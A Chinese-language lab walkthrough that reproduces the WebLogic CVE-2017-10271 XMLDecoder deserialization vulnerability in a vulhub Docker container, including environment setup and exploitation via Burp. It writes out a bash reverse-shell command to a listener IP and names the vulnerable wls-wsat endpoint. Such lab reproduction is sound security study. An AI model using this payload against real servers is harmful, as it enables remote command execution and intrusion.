CVE-2017-10271漏洞复现
漏洞描述
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
使用工具
- doker容器
- Ubuntu18.04虚拟机
- Burpsuite
环境搭建
下载vulhub项目地址:https://github.com/vulhub/vulhub
建议提前给docker配置个加速器,Ubuntu18.04版本配置方法如下:
找到/etc/docker/daemon.json文件,没有的话就直接新建一个
root@admin666-virtual-machine:/etc/docker# vim daemon.json
编辑daemon.json,加入一个镜像加速地址,语法如下:
{"registry-mirrors":["https://xxxx.mirror.aliyuncs.com"]}
#xxxx为自己专属的阿里云镜像加速器地址
如果显示如下错误,则需要修改权限:
进入相应的系统环境:
root@admin666-virtual-machine:~/vulhub-master/weblogic/CVE-2017-10271#
使用docker编译启动,出现done表示已经完成
root@admin666-virtual-machine:~/vulhub-master/weblogic/CVE-2017-10271#docker-compose up -d
完成后,访问http://your-ip:7001/,出现如下页面证明weblogic已经启动成功!
漏洞利用
1.首先判断能否访问http://192.168.1.15:7001/wls-wsat/CoordinatorPortType11 ,访问后出现下图则可能存在漏洞
2.直接利用漏洞POC,用Burp抓包,构造POST请求包,先上传一个1.txt,并访问http://192.168.1.15:7001/wls-wsat/1.txt
3.利用POC构造payload获取shell,语句如下:
bash -i >& /dev/tcp/192.168.1.18/5555 0>&1
#192.168.1.18为接收shell的IP,5555为监听端口
#注意语句需要进行html编码,否则解析XML会出错
4.利用burp构造payload,同时开启kali当作接收shell的虚机,并监听5555端口
5.成功获取shell